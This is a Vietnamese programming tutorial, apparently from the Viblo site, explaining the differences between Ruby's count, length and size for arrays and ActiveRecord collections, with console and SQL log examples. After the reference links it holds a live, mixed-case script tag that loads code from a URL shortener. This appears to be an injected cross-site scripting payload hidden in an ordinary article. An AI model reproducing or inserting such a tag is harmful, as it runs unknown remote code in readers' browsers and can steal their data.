+2

Ruby Count vs Length vs Size

Các method này được sử dụng cho array hoặc object. Bài này sẽ giới thiệu sự khác biệt giữa count, length và size.

** Chúng ta hãy xem xét trước với array thì 3 method này hoạt động như thế nào:**

1.Array#length

Về cơ bản, length trong array sẽ trả về số phần tử trong mảng. Ví dụ với mảng sau:

a=[1,2,3,4,5,6,7]
a.length => 7

2. Array#size

array#size chỉ là alias của array#length method. Nó có cùng tính năng và cách thực hiện như array#length. Ví dụ:

b=[1,2,3,4]
b.size
=> 4

3. Array#count

Khác với length và size. array#count có thể sử dụng đi kèm điều kiện để tính toán số phần tử. Có ba cách gọi như sau:

  • Array#count trả về số phần tử trong mảng
  • Array#count n trả về số phần tử có giá trị = n trong mảng
  • Array#count{|i| i.even?} trả về số phần tử trong mảng dựa trên điều kiện.

Chúng ta xem các ví dụ sau:

c=[1,2,3,4,4,7,7,7,9]
c.count
=> 9
c.count 7
=> 3
c.count {|i| i>5}
=> 4

Kết Luận:

  • Bạn hãy sử dụng array#count khi cần đếm số phần tử trong mảng có kèm theo điều kiện
  • Nếu chỉ cần đếm số lượng phần tử trong mảng không kèm điều kiện nào, hãy sử dụng length hoặc size.

Bây giờ đến ActiveRecord, một thành phần không thể thiếu, rất quan trọng trong ruby on rails framework:

1. #count – collection.count

Khi sử dụng count. Nó sẽ dùng câu lệnh sql (SELECT COUNT() FROM…) để truy vấn ra số lượng của activerecord mà chúng ta truy vấn. Một điều quan trọng nữa là count không được lưu trữ trong đối tượng mà chúng ta gọi, Nghĩa là một lần gọi count thì nó sẽ thực hiện một truy vấn (SELECT COUNT() FROM…) vào database dù cho trước đó bạn đã gọi hay chưa. Nhưng bạn có thể yên tâm vì câu lệnh (SELECT COUNT(*) FROM…) trong sql thực sự là hoạt động cực kỳ nhanh.

2.1.2 :048 > collection = User.all; nil
 => nil
2.1.2 :049 > collection.count
   (0.7ms)  SELECT COUNT(*) FROM `users`
 => 16053
2.1.2 :050 > collection.count
 => 16053

2. #length – collection.length

khi sử dụng length, nó sẽ đếm số lượng mà không sử dụng thêm câu truy vấn nếu đối tượng đó đã được nạp, ngược lại, nó sẽ nạp toàn bộ object của bạn vào bộ nhớ và thực hiện đếm (so bad).

2.1.2 :055 > collection = User.all; nil
 => nil
2.1.2 :056 > collection.length
  User Load (122.9ms)  SELECT `users`.* FROM `users`
 => 16053
2.1.2 :057 > collection = User.all; nil
 => nil
2.1.2 :058 > collection.to_a; nil
  User Load (140.9ms)  SELECT `users`.* FROM `users`
 => nil
2.1.2 :059 > collection.length
 => 16053
2.1.2 :060 > collection.length
 => 16053

Nhưng bạn nên nhớ rằng, khi gọi lenght lần thứ 2 trở đi, lenght sẽ không còn load từ database nữa, mà trả về luôn kết quả(đã được lưu trong bộ nhớ). Đó chính là một điểm hay của length.

3. #size – collection.size

size thực sự là một điều tuyệt vời, khi object đã đuợc load, nó sẽ thực hiện trên chính object đó trong bộ nhớ (không query vào database, tuơng tự lenght ở lần thứ 2 trở đi), còn khi object đó chưa được load, nó sẽ thực hiện câu lệnh (SELECT COUNT(*) FROM…) (câu lệnh cực kỳ nhanh trong sql). Qúa thông mình và tuyệt vời phải không.

2.1.2 :034 > collection = User.all; nil
 => nil
2.1.2 :035 > collection.count
   (0.3ms)  SELECT COUNT(*) FROM `users`
 => 16053
2.1.2 :036 > collection.count
   (0.3ms)  SELECT COUNT(*) FROM `users`
 => 16053
2.1.2 :037 > collection.size
   (0.2ms)  SELECT COUNT(*) FROM `users`
 => 16053
2.1.2 :038 > collection.to_a; nil
  User Load (64.2ms)  SELECT `users`.* FROM `users`
 => nil
2.1.2 :039 > collection.size
 => 16053

Kết Luận:

Dù trong bất cứ trường hợp nào, nếu là activerecord sử dụng size là tốt nhất. Khi ứng dụng của bạn nhỏ, bạn có thể chưa nhận ra điều gì, nhưng khi database lớn, bạn sẽ nhận ra vì khi dữ liệu lớn, tối ưu hóa là cực kỳ quan trọng.

Thực sự thói quen viết code của rất nhiều bạn new dev(như mình) ít khi quan tâm đến cách thức hoạt động bên trong của method, hoặc performance của đoạn code mình viết, nhưng thực ra điều này là cực kỳ quan trọng nếu các bạn muốn nắm chắc về ngôn ngữ, framework và muốn trở thành một developer 'cứng'. Hi vọng mình và các bạn sẽ cùng quan tâm và tìm hiểu sâu về về những method tưởng như 'trả về cùng một kết quả' như thế này, cho dù bạn đang lập trình ngôn ngữ nào, framework gì. Để ngày một hoàn thiện mình hơn.

Tham khảo:

http://dev.mensfeld.pl/2014/09/activerecord-count-vs-length-vs-size-and-what-will-happen-if-you-use-it-the-way-you-shouldnt/

http://rubyinrails.com/2014/01/15/ruby-count-vs-length-vs-size/

http://apidock.com/ruby/Array/count

http://apidock.com/ruby/Array/length

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.